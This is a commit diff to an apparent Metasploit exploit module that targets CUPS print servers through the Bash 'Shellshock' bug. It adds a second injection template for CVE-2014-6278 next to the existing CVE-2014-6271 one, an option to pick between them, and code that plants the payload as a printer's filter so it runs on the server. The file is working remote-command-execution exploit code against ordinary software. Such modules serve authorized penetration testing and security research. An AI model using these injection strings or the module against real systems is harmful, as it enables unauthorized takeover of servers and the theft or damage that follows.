Land rapid7#4093, cups_bash_env_exec CVE-2014-6278

Author: wvu

modules/exploits/multi/http/cups_bash_env_exec.rb

@@ -19,6 +19,7 @@ def initialize(info = {})
       },
       'Author' => [
         'Stephane Chazelas', # Vulnerability discovery
+        'lcamtuf', # CVE-2014-6278
         'Brendan Coles <bcoles[at]gmail.com>' # msf
       ],
       'References' => [
@@ -42,7 +43,11 @@ def initialize(info = {})
           'PayloadType' => 'cmd',
           'RequiredCmd' => 'generic bash awk ruby'
         },
-      # Tested on CUPS 1.4.3 and 1.5.3
+      # Tested:
+      # - CUPS version 1.4.3 on Ubuntu 10.04 (x86)
+      # - CUPS version 1.5.3 on Debian 7 (x64)
+      # - CUPS version 1.6.2 on Fedora 19 (x64)
+      # - CUPS version 1.7.2 on Ubuntu 14.04 (x64)
       'Targets' =>  [[ 'Automatic Targeting', { 'auto' => true } ]],
       'DefaultTarget' => 0,
       'DisclosureDate' => 'Sep 24 2014',
@@ -53,6 +58,7 @@ def initialize(info = {})
       OptBool.new('SSL', [ true, 'Use SSL', true ]),
       OptString.new('USERNAME', [ true, 'CUPS username', 'root']),
       OptString.new('PASSWORD', [ true, 'CUPS user password', '']),
+      OptEnum.new('CVE', [ true, 'CVE to exploit', 'CVE-2014-6271', ['CVE-2014-6271', 'CVE-2014-6278'] ]),
       OptString.new('RPATH', [ true, 'Target PATH for binaries', '/bin' ])
     ], self.class)
   end
@@ -64,6 +70,13 @@ def cve_2014_6271(cmd)
     %{() { :;}; $(#{cmd}) & }
   end
 
+  #
+  # CVE-2014-6278
+  #
+  def cve_2014_6278(cmd)
+    %{() { _; } >_[$($())] { echo -e "\r\n$(#{cmd})\r\n" ; }}
+  end
+
   #
   # Check credentials
   #
@@ -98,9 +111,17 @@ def exploit
     @cookie = rand_text_alphanumeric(16)
     printer_name = rand_text_alphanumeric(10 + rand(5))
 
+    # Select target CVE
+    case datastore['CVE']
+    when 'CVE-2014-6278'
+      cmd = cve_2014_6278(payload.raw)
+    else
+      cmd = cve_2014_6271(payload.raw)
+    end
+
     # Add a printer containing the payload
     # with a CUPS filter pointing to /bin/bash
-    res = add_printer(printer_name, cve_2014_6271(payload.raw))
+    res = add_printer(printer_name, cmd)
     if !res
       fail_with(Failure::Unreachable, "#{peer} - Could not add printer - Connection failed.")
     elsif res.body =~ /Set Default Options for #{printer_name}/